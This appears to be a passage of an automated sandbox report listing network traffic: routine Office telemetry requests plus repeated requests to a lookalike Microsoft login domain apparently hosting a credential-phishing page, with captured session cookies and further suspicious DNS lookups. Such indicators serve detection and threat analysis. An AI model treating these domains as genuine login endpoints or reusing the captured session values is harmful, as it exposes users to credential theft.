Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /s/e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90 HTTP/1.1Host: login.msonlineauthenticator.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-4TKHzroffC0=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeEYxa7f3veaX-VKmU22RIslH1uvvCI6klWtJ4JQez0Bvnze9Bd9Lec3zbxl-HJ2HEINnjOGIwWS415bJOIdN9JTE0er8683fovpjtwpJwPZuFaXMqosxwvvYiKAfjG16QuqTmsibESgRJdo1_KHxstCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.Ae4AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAADuAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFex2pP-I0zALTlsTVftaTmULYWHnTlyKyCV9or0k4FKnMU8IKw5kPsqxxBvNjtHngjxBLwLWE9vjeenLvrvRIy8Msj5cxWKezG9xtBZYYtA00gAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeMRH4hl7ZhlCdDX1tfNeT8dJ3CUpzgRK95D0DnsboftAPuxqEIxsOzhw5ojB7aHvjv4zSiFOVOYnozkOBn4NzI3gKCxjdYGLxB5yN2d9eOK97shH6VTLPN1CQO4doNYxA5wi5YJKL6NDpH5Lv5Wbk2F8rJwLnMwCJ5N-FZg1icSQgAA; esctx-Mc0TKE8k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe9Gx1Jqutchza-C-gQYTMDoNoCGAQVLQekSJmGnXfqUHf4sxmq_7j_PplCH3Yf4KAvAwWdu-uA4EqfAxxCmdL0nv2Q8r9tG2IKTsFx5vQ4aJa5Ho6a3ueh8soEygnbcUxXy2MMJPglbs0M5VMnvGCVCAA; fpc=AmLITznCxPJGndwBwlWb56u8Ae7AAQAAAJu5194OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /s/e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90 HTTP/1.1Host: login.msonlineauthenticator.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-4TKHzroffC0=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeEYxa7f3veaX-VKmU22RIslH1uvvCI6klWtJ4JQez0Bvnze9Bd9Lec3zbxl-HJ2HEINnjOGIwWS415bJOIdN9JTE0er8683fovpjtwpJwPZuFaXMqosxwvvYiKAfjG16QuqTmsibESgRJdo1_KHxstCAA; AADSSO=NA\|NoExtension; buid=1.Ae4AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAADuAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFex2pP-I0zALTlsTVftaTmULYWHnTlyKyCV9or0k4FKnMU8IKw5kPsqxxBvNjtHngjxBLwLWE9vjeenLvrvRIy8Msj5cxWKezG9xtBZYYtA00gAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeMRH4hl7ZhlCdDX1tfNeT8dJ3CUpzgRK95D0DnsboftAPuxqEIxsOzhw5ojB7aHvjv4zSiFOVOYnozkOBn4NzI3gKCxjdYGLxB5yN2d9eOK97shH6VTLPN1CQO4doNYxA5wi5YJKL6NDpH5Lv5Wbk2F8rJwLnMwCJ5N-FZg1icSQgAA; esctx-Mc0TKE8k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe9Gx1Jqutchza-C-gQYTMDoNoCGAQVLQekSJmGnXfqUHf4sxmq_7j_PplCH3Yf4KAvAwWdu-uA4EqfAxxCmdL0nv2Q8r9tG2IKTsFx5vQ4aJa5Ho6a3ueh8soEygnbcUxXy2MMJPglbs0M5VMnvGCVCAA; fpc=AmLITznCxPJGndwBwlWb56u8Ae7AAQAAAJu5194OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /s/e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90 HTTP/1.1Host: login.msonlineauthenticator.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-4TKHzroffC0=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeEYxa7f3veaX-VKmU22RIslH1uvvCI6klWtJ4JQez0Bvnze9Bd9Lec3zbxl-HJ2HEINnjOGIwWS415bJOIdN9JTE0er8683fovpjtwpJwPZuFaXMqosxwvvYiKAfjG16QuqTmsibESgRJdo1_KHxstCAA; AADSSO=NA\|NoExtension; buid=1.Ae4AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAADuAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFex2pP-I0zALTlsTVftaTmULYWHnTlyKyCV9or0k4FKnMU8IKw5kPsqxxBvNjtHngjxBLwLWE9vjeenLvrvRIy8Msj5cxWKezG9xtBZYYtA00gAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeMRH4hl7ZhlCdDX1tfNeT8dJ3CUpzgRK95D0DnsboftAPuxqEIxsOzhw5ojB7aHvjv4zSiFOVOYnozkOBn4NzI3gKCxjdYGLxB5yN2d9eOK97shH6VTLPN1CQO4doNYxA5wi5YJKL6NDpH5Lv5Wbk2F8rJwLnMwCJ5N-FZg1icSQgAA; esctx-Mc0TKE8k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe9Gx1Jqutchza-C-gQYTMDoNoCGAQVLQekSJmGnXfqUHf4sxmq_7j_PplCH3Yf4KAvAwWdu-uA4EqfAxxCmdL0nv2Q8r9tG2IKTsFx5vQ4aJa5Ho6a3ueh8soEygnbcUxXy2MMJPglbs0M5VMnvGCVCAA; fpc=AmLITznCxPJGndwBwlWb56u8Ae7AAQAAAJu5194OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /s/e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90 HTTP/1.1Host: login.msonlineauthenticator.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-4TKHzroffC0=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeEYxa7f3veaX-VKmU22RIslH1uvvCI6klWtJ4JQez0Bvnze9Bd9Lec3zbxl-HJ2HEINnjOGIwWS415bJOIdN9JTE0er8683fovpjtwpJwPZuFaXMqosxwvvYiKAfjG16QuqTmsibESgRJdo1_KHxstCAA; AADSSO=NA\|NoExtension; buid=1.Ae4AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAADuAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFex2pP-I0zALTlsTVftaTmULYWHnTlyKyCV9or0k4FKnMU8IKw5kPsqxxBvNjtHngjxBLwLWE9vjeenLvrvRIy8Msj5cxWKezG9xtBZYYtA00gAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeMRH4hl7ZhlCdDX1tfNeT8dJ3CUpzgRK95D0DnsboftAPuxqEIxsOzhw5ojB7aHvjv4zSiFOVOYnozkOBn4NzI3gKCxjdYGLxB5yN2d9eOK97shH6VTLPN1CQO4doNYxA5wi5YJKL6NDpH5Lv5Wbk2F8rJwLnMwCJ5N-FZg1icSQgAA; esctx-Mc0TKE8k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe9Gx1Jqutchza-C-gQYTMDoNoCGAQVLQekSJmGnXfqUHf4sxmq_7j_PplCH3Yf4KAvAwWdu-uA4EqfAxxCmdL0nv2Q8r9tG2IKTsFx5vQ4aJa5Ho6a3ueh8soEygnbcUxXy2MMJPglbs0M5VMnvGCVCAA; fpc=AmLITznCxPJGndwBwlWb56u8Ae7AAQAAAJu5194OAAAA; brcap=0

Source: global traffic	DNS traffic detected: DNS query: ajax.aspnetcloudio.com
Source: global traffic	DNS traffic detected: DNS query: cloudio.smartestenergy.icu
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: autenticatorresolver.online
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: login.msonlineauthenticator.top
Source: global traffic	DNS traffic detected: DNS query: www.msonlineauthenticator.top
Source: global traffic	DNS traffic detected: DNS query: identity.nel.measure.office.net
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: autologon.microsoftazuread-sso.com

Source: unknown

